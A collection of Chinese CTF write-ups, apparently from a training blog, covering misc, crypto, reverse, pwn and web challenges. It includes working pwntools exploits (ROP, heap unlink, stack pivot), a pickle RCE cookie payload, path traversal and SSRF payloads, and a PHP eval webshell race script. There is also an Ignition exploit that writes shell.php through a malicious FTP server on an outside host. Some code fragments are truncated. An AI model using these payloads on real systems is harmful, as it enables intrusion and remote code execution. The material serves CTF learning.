1、你这flag保熟吗 binwalk提取两张图片,分别得到一个字母数字混合的表格和一个hint.txt password.xls hint.txt 希尔伯格曲线 取出表格中的字符,单独放到password.txt的文件中,运行脚本如下: import base64 from hilbertcurve.hilbertcurve import HilbertCurve array = [] password = '' p = 8;n=2 hilbert_curve = HilbertCurve(p, n) with open('password.txt','r',encoding='utf-16') as file:    # a = file.readline().replace("\t", "").replace("\n", "")    # print(a)    for i in range(256):        a = file.readline().replace("\t", "").replace("\n", "")        array.append(a) for i in range(256*256):   [m,n] = hilbert_curve.point_from_distance(i)    password += array[n][m] # print(password) import base64 temp = password for i in range(25):    temp = base64.b64decode(temp) print(temp) 得到base64加密后的密文如下: base解密得到密码 解压后发现里面是brainfuck     >+++++++++[<+++++++++++++   >-]>+                                               ++[<                         +++++++++++++++++++++++++++++     ++++++++>-]>++[<+++++++++   +++++                                             ++++++                       +++++++++++++++++++++++++++++     ++++++++++++>-]>++++[<+++   +++++                                             ++++++++                       +++++++++++++>-]>+++[<+++++++     +++++                       +++++                                           ++++ ++++                     +++++     +++++                       +++++                                           +>-]   ++++                     +++++     +++++                       +++++                                         ++++     ++++                   +++++     +++++                       +++++                                         ++++       ++++                   +++++     +++++                       +++++                                       ++++         ++++                 +++++     +++++                       >>+++                                       +++[           <+++                 +++++     +++++                       +++++                                     +>-]             >++[               <++++     +++++++++++++++++++++++++   +++++                                     +++++++>-]>+++++++++++[<               +++++       ++++++>-]>++[<++     +++++++++++++++++++++++++   +++++                                   ++++++++++++++++++++++++++             +>-]>       +++++++[<++++++++     +++++++>-]+++++++++++++++   +++++                                   ++++++++++++++++++++++++++++             +++++       +++         +++++     +++++                       +++++                                 ++++                     ++++           +++++                   +++++     +++++                       +++++                                 ++++                       >>++           +++[<                   +++++     +++++                       +++++                               ++++                         >-]>         +++++                   +++[<     +++++                       +++++                               +>-]                           >+++         +++[<                   +++++     +++++                       +++++                             ++>-                             ]>++       +++++                   [<+++     +++++                       +++++                             ++>-                               ]+++       +++++                   +++++     +++++                       +++++++++++++++++++++++++++     ++++                                 ++++     +++++++++++++++++++++++++++++     +++++                       ++++++++++++++>>++[<+++++++     ++++                                   ++++     +++++++++++++++++++++++++++++     +++++                       ++++++++++>-]>+++++[<++++++   ++++                                     ++++   +++++>-]>+++++++[<+++++++>-]> ++++                                                                                                                                             ++++ [<+++                                                                                                                                           +++++ +>-]>+++++[<+++++++++++++++++++>-]>++++[<+++++++++++++>-]>+++++[<+++++++++++++++++++>-]+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>++++++[< ++++++++>-]+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>+++++++[<+++++++++++++++++>- ]>++[<+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>-]>+++++++[<+++++++++++++++>-]>+++++++++[<+++++++++++++>-]>++++++[<+++++++++++++++++ >-]>+++[<+++++++++++>-]>+++++[<+++++++++++++++++++>-]>++++++++++[<++++++++++++>-]>++++++[<+++++++++++++++++>-]>+++++++[<+++++++++++++++>-]++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>++[<+++++++++++++++++++++++++++++++++++++++++++++++++++++++ ++++>-]>+++++[<+++++++++++++++++++++++++>-]+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.>>+++ +++[<+++++++++++++++++++>-]<.>>++++++[<+++++++++++++++++++>-]<.>>+++[<+++++++++++++++++++++++++++++++++++++>-]<.>>++++++[<+++++++++++++++++++>-]<.> 然后解brainfuck可以得到 uozt{SrRyvig_Xfiev_1H_4_ee0mwviuf!_xfiev} 放到编码器里面发现是atbash 对应位置修改下大小写 flag{HiIbert_Curve_1S_4_vv0nderfu!_curve} Crypto 1、 baby_rsa to small? leak? from Crypto.Util.number import long_to_bytes from gmpy2 import invert, is_prime from tqdm import tqdm primes = [] for xy in tqdm(range(500)):    for mn in range(500):        prime = xy**(mn+1) - (xy+1)**mn        if prime.bit_length() > 2048: break        if is_prime(prime):            primes.append(prime) c = 15808773921165746378224649554032774095198531782455904169552223303513940968292896814159288417499220739875833754573943607047855256739976161598599903932981169979509871591999964856806929597805904134099901826858367778386342376768508031554802249075072366710038889306268806744179086648684738023073458982 for i in range(len(primes)):    for j in range(i, len(primes)):        pq = primes[i]*primes[j]        if len(bin(pq)[2:]) == 2048:            try:                d = invert(0x10001, (primes[i]-1)*(primes[j]-1))                dec = long_to_bytes(pow(c, d, pq))                if b"flag{" in dec:                    print(dec)            except ValueError:                pass 已知((fac[0]+fac[1]+fac[2]) << 1) - 1的值,用其替代n。分解((fac[0]+fac[1]+fac[2]) << 1) - 1求其欧拉函数,进而求解出d和第二段。 import gmpy2 from Crypto.Util.number import * def main():    _n = 39796272592331896400626784951713239526857273168732133046667572399622660330587881579319314094557011554851873068389016629085963086136116425352535902598378739    e = 0x10001    c = 4062598101725026294523054845073895172556652025216341012456562212675473969368127164912710410903816485278776729640369746247545967054084582215039763992301322310291267474840242750158801886649087839467848206156152125336555002907556550798823272903205529899279271257456970484607551462482465412769174    phi_n = (191 - 1) * (193 - 1) * (627383 - 1) * (1720754738477317127758682285465031939891059835873975157555031327070111123628789833299433549669619325160679719355338187877758311485785197492710491 - 1)    d = gmpy2.invert(e, phi_n)    m = pow(c % _n, d, _n)    print(long_to_bytes(m)) if __name__ == '__main__':    main() ### Web 1、java_url 一道Java_URL。 Tomcat/8.5.71 读 /../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF//web.xml <?xml version="1.0" encoding="UTF-8"?> <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"         version="4.0">   <servlet>       <servlet-name>testurl</servlet-name>       <servlet-class>com.test2.aaa1.testURL</servlet-class>   </servlet>   <servlet-mapping>       <servlet-name>testurl</servlet-name>       <url-pattern>/testURL</url-pattern>   </servlet-mapping>       <servlet>       <servlet-name>download</servlet-name>       <servlet-class>com.test2.aaa1.download</servlet-class>   </servlet>   <servlet-mapping>       <servlet-name>download</servlet-name>       <url-pattern>/download</url-pattern>   </servlet-mapping> </web-app> 读 /../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/com/test2/aaa1/testURL.class 得到class文件 import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; import java.net.URL; import javax.servlet.ServletException; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; public class testURL extends HttpServlet {   protected void doGet(HttpServletRequest arg1, HttpServletResponse arg2) throws ServletException, IOException {       this.doPost(arg1, arg2);   }   protected void doPost(HttpServletRequest arg6, HttpServletResponse arg7) throws ServletException, IOException {       String tartget_url = arg6.getParameter("url");       if(tartget_url.substring(0, tartget_url.indexOf(":")).matches("(?i)file|(?i)gopher|(?i)data")) {           arg7.getWriter().write(String.valueOf(new StringBuilder().append("false")));           return;       }       arg7.getWriter().write(String.valueOf(this.getContent(tartget_url)));   }   public StringBuilder getContent(String arg8) throws IOException {       BufferedReader in = new BufferedReader(new InputStreamReader(new URL(arg8).openConnection().getInputStream()));       StringBuilder content = new StringBuilder();       while(true) {           String inputLine = in.readLine();           if(inputLine == null) {               return content;           }           content.append(inputLine);           content.append("\n");       }       return content;   } } 读flag的payload /testURL?url=url:file:///flag 2、EZ_python 樱桃猫写了自己的第一个flask网站,你能帮他看看有什么问题吗? 网刃杯的easy_web,原题 文件读取,/proc/self/cmdline app.py import pickle import base64 from flask import Flask, request from flask import render_template,redirect,send_from_directory import os import requests import random from flask import send_file app = Flask(__name__) class User():   def __init__(self,name,age):       self.name = name       self.age = age def check(s):   if b'R' in s:       return 0   return 1 @app.route("/") def index():   try:       user = base64.b64decode(request.cookies.get('user'))       if check(user):           user = pickle.loads(user)           username = user["username"]       else:           username = "bad,bad,hacker"   except:       username = "CTFer"   pic = '{0}.jpg'.format(random.randint(1,7))       try:       pic=request.args.get('pic')       with open(pic, 'rb') as f:           base64_data = base64.b64encode(f.read())           p = base64_data.decode()   except:       pic='{0}.jpg'.format(random.randint(1,7))       with open(pic, 'rb') as f:           base64_data = base64.b64encode(f.read())           p = base64_data.decode()   return render_template('index.html', uname=username, pic=p ) if __name__ == "__main__":   app.run('0.0.0.0',port=8888) 读 /proc/self/environ 没用 MAIL=/var/mail/appUSER=appHOSTNAME=engine-1SHLVL=1PYTHON_PIP_VERSION=20.1HOME=/home/appGPG_KEY=E3FF2839C048B25C084DEBE9B26995E310250568LOGNAME=app_=/bin/suPYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/1fe530e9e3d800be94e04f6428460fc4fb94f5a9/get-pip.pyTERM=xtermPATH=/usr/local/bin:/usr/loca 网刃原题 import requests import pickle import base64 # e = 'ls / -a' e = 'cat /flagggggggggggggaaa' s = pickle.dumps(e) # print(s) payload = b'c__main__\nUser\n)\x81}(V__setstate__\ncos\nsystem\nubV' + \   e.encode()+b' > /tmp/1.txt\nb.' response = requests.get("http://eci-2zecbk1aefg5marnfo77.cloudeci1.ichunqiu.com:8888/?pic=/tmp/1.txt", cookies=dict(   user=base64.b64encode(payload).decode())) for l in response.content.decode().split("\n"):   if "base64" in l:       l = l.split("\"")[1].split(",")[1]       print(base64.b64decode(l).decode()) flag{2e4af838-7d23-4b04-a77a-1519e8b14e8f} 更多好文,尽请期待!https://www.yijinglab.com/pages/CTFLaboratory.jsp
羊城杯WP
Pwn 1、Babyrop 栈溢出,且存在后门函数; 利用func1将'/cin/sh'修改为'/bin/sh', 利用func2调用参数执行system('/bin/sh')即可 #!usr/bin/env python #-*- coding:utf8 -*- from pwn import * #p = process("./BabyRop") p = remote("192.168.39.161", 11000) elf = ELF("./BabyRop") payload = flat([    'a'*(0x28+4),    0x80491fd,  #func1    0x8049332,  # ret address ;pop rdx r15 ;ret    0x804c024,    1,    0x80491d6,  #func2:system    0x80491d6,    0x804c024 ]) p.sendline(payload) p.interactive() 2、Whats your name Libc 2.23 + off by null: Off by null使得下个相邻chunk的pre_inuse置零;然后伪造pre_size,以及fake chunk的fd,bk,之后释放pre_inuse置零的chunk,实现unlink,造成堆块重叠; 最后覆写重叠堆块上存在的函数指针,改为setcontext+53,并提前布置好orw的rop链,调用show函数时,触发orw读出flag; #!usr/bin/env python #-*- coding:utf8 -*- from pwn import * pc="./name" #p=process(pc,env={"LD_PRELOAD":"./libc.so.6"}) p = remote(192.168.39.161,9999) ru = lambda x : p.recvuntil(x,timeout=0.2) sn = lambda x : p.send(x) sl = lambda x : p.sendline(x) rv = lambda x : p.recv(x) ru7f = lambda : u64(ru('\x7f')[-6:].ljust(8,'\x00')) rv6 = lambda : u64(rv(6)+'\x00'*2) what_idx="index:" def add(size):    ru("5.exit\n")    sl("1")    ru("name size:")    sl(str(size)) def edit(idx,c):    ru("5.exit\n")    sl("2")    ru(what_idx)    sl(str(idx))    ru("name:")      sl(c)   def show(idx):    ru("5.exit\n")    sl("3")    ru(what_idx)    sl(str(idx)) def dele(idx):    ru("5.exit\n")    sl("4")    ru(what_idx)    sl(str(idx)) add(0x100) #0 add(0x100) #1 dele(0) add(0x30) show(0) libc_base = ru7f() - 0x3c4b78 -0xe0 setcontext_53 = libc_base + libc.sym['setcontext'] + 53 add(0x10) #2 show(2) ru('\n') #这里需要根据具体情况调试 heap_addr = rv6() - 0xad0 dele(0) add(0x48) #0 add(0x100) #3 pay = flat([    0,0x41,    heap_addr+0xc8-0x18,heap_addr+0xc8-0x10,    'a'*0x20,    0x40 ]) edit(0,pay) edit(3,'a'*0xf0+p64(0x100)+p64(0x121)) dele(3) add(0x10) #3   add(0xa8-0x20) #4   add(0xc0) #5   srop_addr = heap_addr+0xb30 pay = flat([    0,0x21,    setcontext_53,srop_addr ]) edit(0,pay) syscall =  libc_base + 0xbc3f5     p_rdi = libc_base + 0x21112 p_rsi =   libc_base + 0x202f8 p_rax_rdx_rbx =  libc_base + 0x1436b1 ret =  p_rsi+1 rop_base = heap_addr + 0xc60 edit(5,'\x00'*0xa0+p64(rop_base)+p64(ret)) flag_str_addr = heap_addr   flag_addr=rop_base+0xd8 payload=flat([    p_rdi,flag_addr,    p_rsi,4,    p_rax_rdx_rbx,2,4,0,    syscall,    p_rdi,3,    p_rsi,flag_str_addr,    p_rax_rdx_rbx,0,0x50,0,    syscall,    p_rdi,1,    p_rsi,flag_str_addr,    p_rax_rdx_rbx,1,0x50,0,    syscall,    'flag\x00' ]) edit(1, payload) show(0) p.interactive() 3、Nologin 查看保护: 存在栈溢出的点: 第一次溢出劫持rbp,再返回到溢出函数; 第二次溢出,首先往bss段上读orw的gadget,其中pop rdx要自己写到bss上; 然后栈迁移到bss段上,执行orw #!usr/bin/env python #-*- coding:utf8 -*- from pwn import * pc="./nologin" reomote_addr=["",40001] context.log_level="debug" # p=process(pc) p = remote("192.168.39.161",40001) ru = lambda x : p.recvuntil(x,timeout=0.2) sn = lambda x : p.send(x) rl = lambda   : p.recvline()   sl = lambda x : p.sendline(x) rv = lambda x : p.recv(x) sa = lambda a,b : p.sendafter(a,b) sla = lambda a,b : p.sendlineafter(a,b) ru7f = lambda : u64(ru('\x7f')[-6:].ljust(8,'\x00')) rv6 = lambda : u64(rv(6)+'\x00'*2) p.sendlineafter("input>> \n","2") flag_addr = 0x0602020+0x400 str_addr = 0x0602050 p.sendlineafter(">password: \n","1"*5+p64(flag_addr)+p64(0x400FF8)) # rax=0x602420 p.sendafter("password: \n","a"*0xd+p64(0x4009BC)+"a"*9 ) read_addr = 0x400780 open_addr = 0x4007B0 puts_addr = 0x400730 p_rdi = 0x401173 p_rsi_r15 = 0x401171 p_rdx = 0x6024b0 orw = flat([        p_rdi,flag_addr,        p_rsi_r15,0,0,        open_addr,        p_rdi,4,        p_rsi_r15,str_addr,0,        p_rdx,0x40,        read_addr,        p_rdi,str_addr,        puts_addr ]) p.sendline(("./flag".ljust(8,'\x00')+orw+asm("pop rdx\nret\n")) ) p.interactive() Re 1、Android 将apk文件拉到jeb中进行分析,发现checkflag的关键逻辑在activity层 可以看到是一个base64算法,但是base表要通过和服务器交互得到 main里面有交互的代码 远程连接端口,输入的值进行md5,之后每字节减1为c232666f1410b3f5010dc51cec341f58 直接进行在线解密 之后连接端口取得变表,base解密得到flag为 SangFor{212f4548-03d1-11ec-ab68-00155db3a27e} 2、vm 分析程序,将程序smc动调自解密后,发现是一个vm 动态调试 跟进程序逻辑,发现 vm就是前32字节就是取数据单字节异或,后面的12字节分为3组进行相同的加密 得到以下关键点: 前32字节最后比较的地方 取输入 前三十二字节的异或 之后三组加密对比密文的地方: 同时跟进加密逻辑为 data = (data >> 5)^data data = ((tmp << 7)&2565961507)^ data data = ((tmp << 0x18)&904182048)^ data data = (tmp >> 0x12)^ data 这三组用z3进行约束求解 之后 分段解密得到flag字符串为16584abc45baff901c59dde3b1bb6701a254b06cdc23 3、smc 首先搜索字符串定位关键代码 动态调试,让程序自解密得到代码如下: 分析发现就是将程序进行base64变表加密之后再与四个数字进行异或 跟到base变表如下: 之后直接上脚本解密 #include<iostream> #include <iomanip> using namespace std; int main() { int table[64] = {0xE4,0xC4,0xE7,0xC7,0xE6,0xC6,0xE1,0xC1,0xE0,0xC0,0xE3,0xC3,0xE2,0xC2,0xED,0xCD,0xEC,0xCC,0xEF,0xCF,0xEE,0xCE,0xE9,0xC9,0xE8,0xC8,0xEB,0xCB,0xEA,0xCA,0xF5,0xD5,0xF4,0xD4,0xF7,0xD7,0xF6,0xD6,0xF1,0xD1,0xF0,0xD0,0xF3,0xD3,0xF2,0xD2,0xFD,0xDD,0xFC,0xDC,0xFF,0xDF,0x95,0x9C,0x9D,0x92,0x9  int code[56] = {0x48,0x3E,0x6F,0x51,0x6E,0x36,0x61,0x71,0x4C,0x72,0x7B,0x44,0x48,0x36,0x6F,0x64,0x68,0x64,0x6D,0x30,0x64,0x4D,0x65,0x60,0x4D,0x42,0x6F,0x3F,0x6C,0x52,0x67,0x6C,0x48,0x74,0x47,0x50,0x4F,0x64,0x6F,0x62,0x44,0x6C,0x6B,0x6E,0x65,0x6A,0x6D,0x47,0x49,0x7C,0x67,0x68,0x44,0x62,0x3C,0x34};  for(int k=0;k<56;k+=4) {        code[k] ^= 0xa6;                code[k+1] ^= 0xa3;                code[k+2] ^= 0xa9;                code[k+3] ^= 0xac;   }        int a[56];//下标   for(int j=0;j<56;j++)      for(int i=0;i<64;i++)         if(table[i]==code[j])                   a[j]=i;               int len = 56;   int flag[56];   j=0;   int i=0;   do   {          flag[j] = (a[i]<<2) | (a[i+1]>>4); //取出第一个的前6位与第二个后2位进行组合          flag[j+1] = ((a[i+1] & 0xf)<<4) | (a[i+2]>>2); //取出第二个的后4位与第三个的后4位进行组合          flag[j+2] = ((a[i+2] & 0x3)<<6) | (a[i+3]);//取出第三个字符的后2位与第4个字符进行组合          j+=3;        i+=4;   }      while(i<len-2);//8/4*3=6    cout<<"V8:"<<endl;    for(i=0;i<56;i+=4)   {        printf("%c%c%c%c", flag[i], flag[i+1], flag[i+2], flag[i+3]);   }        return 0; } 4、Deltx 分析程序,发现输入应该为41位,然后将SangFor{}里面的数据分为八组,每组4byte 之后后面的判断实际都是判断相乘和相加的结果 直接列出方程在线解密 -v16 + v10 = -42564 v16*v10=614340037 得到v16 = 0xD2BF v10 = 0x2C7B 以此类推 得到flag为 SangFor{2C7BD2BF862564baED0B6B6EA94F15BC} Misc 1、签到 根据图片含义推断数字含义,比较脑洞,对gif逐帧分离后 28-08-30-07-04-20-02-17-23-01-12-19 求一下md5 d93b7da38d89c19f481e710ef1b3558b 2、赛博德国人 压缩包的hint 流量包导出pdf 和 txt 还可以找到密码为d279186428a75016b17e4df5ea43d080230 打开pdf有密钥 然后engima解密得到475748547berta36623936373230356665373537393566313034383537316366346366623730337dora 德语单词和十六进制转化后得到GWHT{6b967205fe75795f1048571cf4cfb703} 3、misc520 150号压缩包里面提取到 72, 89, 75, 88, 128, 93, 58, 116, 76, 121, 120, 63, 108, 解压0号压缩包,并从flag.png中提取压缩包,爆破密码,得到流量包如下: 不支持在 Docs 外粘贴 block 类似xnuca那个鼠标流量,还原鼠标流量画图 前后两部分字符串拼接起来,asc偏移解密 GWHT{W3lCom3_t0_M!sc} 4、Baby_Forenisc vol,cmdscan发现要找git号,过滤git有关内容 发现ssh.txt连接github的私钥 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 putty加载 发现了一个邮箱,去GitHub搜索,是个手机app 下载APP文件,在里面找到一个htm,有段base U2FuZ0ZvcntTMF8zYXp5XzJfY3JhY2tfbm9vYl9wbGF5ZXJ9 解base64即可 Crypto 1、Rsa? 读getloop函数,有: (x1+a*y1)(mod n)=((X+aY)^65536)(mod n) 因为 a=((inv_Z1-X)*inv_Y)%n, 所以 (x1+a*y1)(mod n)=(inv_Z1^65536)(mod n) yafu分解n 求得inv_Z1,Z1,X X+aY=inv_Z1 故 Y=((inv_Z1-X)*inv_a)(mod n) from gmpy2 import invert from Crypto.Util.number import long_to_bytes n = 13390709926509813526471364597371124446888078365567927211781799241724742352679484983709219580483800891886832613684875066109177882219522305348565532970795023 p = 115718235064789220654263009993128325569382592506655305434488398268608329541037 q = 115718235064789220654263009993128324769382192706654302434478391267607309966379 phin = (p - 1) * (q - 1) x1 = 5404548088049249951619519701935576492239293254135836357417714329205323074367876875480850741613547220698045360461761929952847796420174204143917852624050110 y1 = 2110372753170830610718226848526649992911771424441223687775304654852191999130502986109306355582366065947895295520226816523397652918227241733632791793362785 e = 65537 a = 1762039418842677123086894939949574689744108610561557889235294034870342076452734215004689409493802437034960516295735815195656138656970901855976802991519141 d = invert(e, phin) inv_Z1 = pow((x1 + a * y1) % n, d, n) Z1 = invert(inv_Z1, n) inv_2 = invert(2, n) X = ((Z1 + inv_Z1) * inv_2) % n Y = ((inv_Z1 -X) * invert(a, n)) % n print(long_to_bytes(Y)) flag:GWHT{pell_equation_is_very_interesting} 2、Bigrsa 模不互素攻击。p可以从greatest common factor(n1、n2)得到, 求出q1、q2,就可以有私钥解密了 import math from gmpy2 import invert from Crypto.Util.number import * n1 = 1038352964090817518607705355147465868153958984272603343256803136483691326610578406808232955122369489533708955684197213311708345578125414683092988194972677468928145838064230271673828254791579513658230856390787388476476344068413313070355938107129145453472016190042536026921273702658330920825430671 n2 = 1153831985846771474875560143364483107218538411687580124456341828141803144805018289271600710151970894560424721858508938473704818173258688240762452907357497173847696616988950001764414972423718739813536896077111468528915514911685287998143119924714496400145018587634954722671682240156659066273824905 e = 65537 c = 60406168302768860804211220055708551816238816061772464557956985699400782163597251861675967909246187833328847989530950308053492202064477410641014045601986036822451416365957817685047102703301347664879870026582087365822433436251615243854347490600004857861059245403674349457345319269266645006969222744 p = math.gcd(n1, n2) print(p) p = 10210039189276167395636779557271057346691950991057423589319031237857569595284598319093522326723650646963251941930167018746859556383067696079622198265424441 q1 = n1 // p q2 = n2 // p phin1 = (p - 1) * (q1 - 1) phin2 = (p - 1) * (q2 - 1) d1 = invert(e, phin1) d2 = invert(e, phin2) m = pow(c, d2, n2) m = pow(m, d1, n1) print(long_to_bytes(m)) flag:SangFor{qSccmm1WrgvIg2Uq_cZhmqNfEGTz2GV8} 3、RingRingRing import stringimport pwnfrom pwnlib.util.iters import mbruteforcefrom hashlib import md5def main(): r = pwn.remote("192.168.39.161", 2378) msg = r.recvuntil('xxxxx:').decode() suffix = msg[msg.find(' + ') + 3: msg.find(')')] cipher = msg[msg.find('==') + 3: msg.find('\n')] proof = mbruteforce(lambda flag:GWHT{a_funny_equation} 4、MISS https://github.com/Mathsyo/CTFs/tree/2630cdb64799774020d32107ff0ebcf269c64535/MidnightFlagCTF/Cryptography/Something_missingS_BOX = [ 0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76, 0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf flag:SangFor{cb4_k27} 5、Easy_Rsa (p-1)和(q-1)有公共的大质数因数g,用魔改的rho方法分解n https://0xdktb.top/2020/02/28/Summary-of-Crypto-in-CTF-RSA/中U13 from Crypto.Util.number import *from gmpy2 import invertdef f(x, n): return (pow(x, n - 1, n) + 3) % ndef rho(n): i = 1 while True: a = getRandomRange(2, n) b = f(a, n) j = 1 while True: p = GCD(abs(a - b), n) # print('{} in {} circle'.format(j, i)) if p == n: break elif p > 1: return (p, n // p) el flag:SangFor{0a8c2220-4c1b-32c8-e8c1-adf92ec7678b} Web 1、only 4 https://www.freebuf.com/vuls/202819.html 条件竞争的脚本直接打 #coding=utf-8import ioimport requestsimport threadingsessid = 'bad_cat'data = {"cmd":"system('cat /flag');"}def write(session): while True: f = io.BytesIO(b'a' * 1024 * 50) resp = session.post( 'http://192.168.39.161:8000/index.php', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?> 回显flag 2、cross the side ssrf打6379的redis,过程和脚本参考 https://github.com/Maskhe/evil_ftphttps://www.cnblogs.com/zpchcbd/p/14702897.htmlpayload用 https://github.com/tarunkant/Gopherus 生成 自己vps跑个恶意ftp: # -*- coding: utf-8 -*-# @Time : 2021/1/13 6:56 下午# @Author : tntaxin# @File : ftp_redirect.py# @Software:import socketfrom urllib.parse import unquote# 对gopherus生成的payload进行一次urldecodepayload = unquote("%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0 发包 POST /_ignition/execute-solution HTTP/1.1Host: 192.168.39.161:8077Content-Type: application/jsonContent-Length: 194{ "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": { "variableName": "username", "viewFile": "ftp://aaa@81.70.59.112:23/123" }} 访问发现写进去了,antsword连接 http://81.70.59.112:23/shell.php 根目录flag https://www.yijinglab.com/pages/CTFLaboratory.jsp
从本地到WordPress代码注入
